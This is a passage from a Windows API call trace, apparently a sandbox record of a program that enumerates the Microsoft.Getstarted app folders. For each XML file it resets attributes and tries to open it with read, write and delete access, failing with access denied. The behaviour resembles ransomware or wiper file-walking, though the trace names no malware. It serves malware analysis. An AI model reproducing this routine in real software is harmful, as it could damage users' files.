	[0091.809] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f8f31a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c1a05, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f919407, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.809] wcscmp (_String1="..", _String2=".") returned 1
	[0091.809] wcscmp (_String1="..", _String2="..") returned 0
	[0091.809] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f8f31a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c20a7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f919407, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB", cAlternateFileName="")) returned 1
	[0091.809] wcscmp (_String1="en-GB", _String2=".") returned 1
	[0091.809] wcscmp (_String1="en-GB", _String2="..") returned 1
	[0091.809] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4718b70
	[0091.809] wcscpy (in: _Dest=0x4718b70, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop"
	[0091.809] wcscat (in: _Dest=0x4718b70, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\"
	[0091.809] wcscat (in: _Dest=0x4718b70, _Source="en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB"
	[0091.809] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e11318
	[0091.809] wcscpy (in: _Dest=0x2e11318, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB"
	[0091.809] wcscat (in: _Dest=0x2e11318, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\"
	[0091.809] wcscat (in: _Dest=0x2e11318, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\*"
	[0091.809] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x50318b0
	[0091.809] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\*", lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f8f31a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c20a7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f919407, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x477b2e8
	[0091.809] wcscmp (_String1=".", _String2=".") returned 0
	[0091.809] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f8f31a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c20a7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f919407, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0091.809] wcscmp (_String1="..", _String2=".") returned 1
	[0091.809] wcscmp (_String1="..", _String2="..") returned 0
	[0091.809] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f8f31a9, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f919407, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f919407, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1f42, dwReserved0=0x0, dwReserved1=0x0, cFileName="doc_offline_accessibility.xml", cAlternateFileName="")) returned 1
	[0091.809] wcscmp (_String1="doc_offline_accessibility.xml", _String2=".") returned 1
	[0091.810] wcscmp (_String1="doc_offline_accessibility.xml", _String2="..") returned 1
	[0091.810] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x102) returned 0x4716e28
	[0091.810] wcscpy (in: _Dest=0x4716e28, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB"
	[0091.810] wcscat (in: _Dest=0x4716e28, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\"
	[0091.810] wcscat (in: _Dest=0x4716e28, _Source="doc_offline_accessibility.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_accessibility.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_accessibility.xml"
	[0091.810] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_accessibility.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\doc_offline_accessibility.xml")) returned 0x20
	[0091.813] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_accessibility.xml", dwFileAttributes=0x20) returned 0
	[0091.814] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_accessibility.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\doc_offline_accessibility.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.814] GetLastError () returned 0x5
	[0091.814] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_accessibility.xml", dwFileAttributes=0x20) returned 0
	[0091.814] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716e28) returned 1
	[0091.814] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f919407, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f919407, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f919407, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x2953, dwReserved0=0x0, dwReserved1=0x0, cFileName="doc_offline_getconnected.xml", cAlternateFileName="")) returned 1
	[0091.814] wcscmp (_String1="doc_offline_getconnected.xml", _String2=".") returned 1
	[0091.814] wcscmp (_String1="doc_offline_getconnected.xml", _String2="..") returned 1
	[0091.814] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x100) returned 0x5028638
	[0091.814] wcscpy (in: _Dest=0x5028638, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB"
	[0091.814] wcscat (in: _Dest=0x5028638, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\"
	[0091.814] wcscat (in: _Dest=0x5028638, _Source="doc_offline_getconnected.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_getconnected.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_getconnected.xml"
	[0091.814] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\doc_offline_getconnected.xml")) returned 0x20
	[0091.816] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_getconnected.xml", dwFileAttributes=0x20) returned 0
	[0091.816] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_getconnected.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\doc_offline_getconnected.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.816] GetLastError () returned 0x5
	[0091.816] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_getconnected.xml", dwFileAttributes=0x20) returned 0
	[0091.816] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x5028638) returned 1
	[0091.816] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f919407, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f919407, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f919407, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1c4b, dwReserved0=0x0, dwReserved1=0x0, cFileName="doc_offline_narrator.xml", cAlternateFileName="")) returned 1
	[0091.816] wcscmp (_String1="doc_offline_narrator.xml", _String2=".") returned 1
	[0091.816] wcscmp (_String1="doc_offline_narrator.xml", _String2="..") returned 1
	[0091.816] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xf8) returned 0x4778260
	[0091.816] wcscpy (in: _Dest=0x4778260, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB"
	[0091.816] wcscat (in: _Dest=0x4778260, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\"
	[0091.816] wcscat (in: _Dest=0x4778260, _Source="doc_offline_narrator.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_narrator.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_narrator.xml"
	[0091.816] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_narrator.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\doc_offline_narrator.xml")) returned 0x20
	[0091.818] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_narrator.xml", dwFileAttributes=0x20) returned 0
	[0091.818] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_narrator.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\doc_offline_narrator.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.818] GetLastError () returned 0x5
	[0091.818] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_narrator.xml", dwFileAttributes=0x20) returned 0
	[0091.818] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4778260) returned 1
	[0091.818] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f919407, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f919407, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f919407, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x5f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="doc_offline_speechrecognition.xml", cAlternateFileName="")) returned 1
	[0091.818] wcscmp (_String1="doc_offline_speechrecognition.xml", _String2=".") returned 1
	[0091.818] wcscmp (_String1="doc_offline_speechrecognition.xml", _String2="..") returned 1
	[0091.818] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x10a) returned 0x4790b40
	[0091.818] wcscpy (in: _Dest=0x4790b40, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB"
	[0091.819] wcscat (in: _Dest=0x4790b40, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\"
	[0091.819] wcscat (in: _Dest=0x4790b40, _Source="doc_offline_speechrecognition.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_speechrecognition.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_speechrecognition.xml"
	[0091.819] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_speechrecognition.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\doc_offline_speechrecognition.xml")) returned 0x20
	[0091.819] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_speechrecognition.xml", dwFileAttributes=0x20) returned 0
	[0091.819] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_speechrecognition.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\doc_offline_speechrecognition.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.819] GetLastError () returned 0x5
	[0091.819] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\doc_offline_speechrecognition.xml", dwFileAttributes=0x20) returned 0
	[0091.819] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4790b40) returned 1
	[0091.819] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f919407, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f919407, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f919407, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1171, dwReserved0=0x0, dwReserved1=0x0, cFileName="toc.xml", cAlternateFileName="")) returned 1
	[0091.819] wcscmp (_String1="toc.xml", _String2=".") returned 1
	[0091.819] wcscmp (_String1="toc.xml", _String2="..") returned 1
	[0091.819] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd6) returned 0x477eb90
	[0091.819] wcscpy (in: _Dest=0x477eb90, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB"
	[0091.819] wcscat (in: _Dest=0x477eb90, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\"
	[0091.819] wcscat (in: _Dest=0x477eb90, _Source="toc.xml" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\toc.xml") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\toc.xml"
	[0091.819] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\toc.xml")) returned 0x20
	[0091.824] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\toc.xml", dwFileAttributes=0x20) returned 0
	[0091.824] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\toc.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\content\\desktop\\en-gb\\toc.xml"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff
	[0091.824] GetLastError () returned 0x5
	[0091.824] SetFileAttributesW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-GB\\toc.xml", dwFileAttributes=0x20) returned 0
	[0091.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x477eb90) returned 1
	[0091.824] FindNextFileW (in: hFindFile=0x477b2e8, lpFindFileData=0x50318b0 | out: lpFindFileData=0x50318b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7f919407, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0x7f919407, ftLastAccessTime.dwHighDateTime=0x1d2a059, ftLastWriteTime.dwLowDateTime=0x7f919407, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x1171, dwReserved0=0x0, dwReserved1=0x0, cFileName="toc.xml", cAlternateFileName="")) returned 0
	[0091.824] FindClose (in: hFindFile=0x477b2e8 | out: hFindFile=0x477b2e8) returned 1
	[0091.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x50318b0) returned 1
	[0091.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e11318) returned 1
	[0091.824] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4718b70) returned 1
	[0091.824] FindNextFileW (in: hFindFile=0x477b4a8, lpFindFileData=0x502f498 | out: lpFindFileData=0x502f498*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7f919407, ftCreationTime.dwHighDateTime=0x1d2a059, ftLastAccessTime.dwLowDateTime=0xab6c24fa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7f93f661, ftLastWriteTime.dwHighDateTime=0x1d2a059, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0091.824] wcscmp (_String1="en-US", _String2=".") returned 1
	[0091.824] wcscmp (_String1="en-US", _String2="..") returned 1
	[0091.824] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc6) returned 0x4719050
	[0091.824] wcscpy (in: _Dest=0x4719050, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop"
	[0091.825] wcscat (in: _Dest=0x4719050, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\"
	[0091.825] wcscat (in: _Dest=0x4719050, _Source="en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US"
	[0091.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xca) returned 0x2e12758
	[0091.825] wcscpy (in: _Dest=0x2e12758, _Source="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US"
	[0091.825] wcscat (in: _Dest=0x2e12758, _Source="\\" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\"
	[0091.825] wcscat (in: _Dest=0x2e12758, _Source="*" | out: _Dest="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\*") returned="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Content\\desktop\\en-US\\*"
	[0091.825] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x250) returned 0x502fbd0
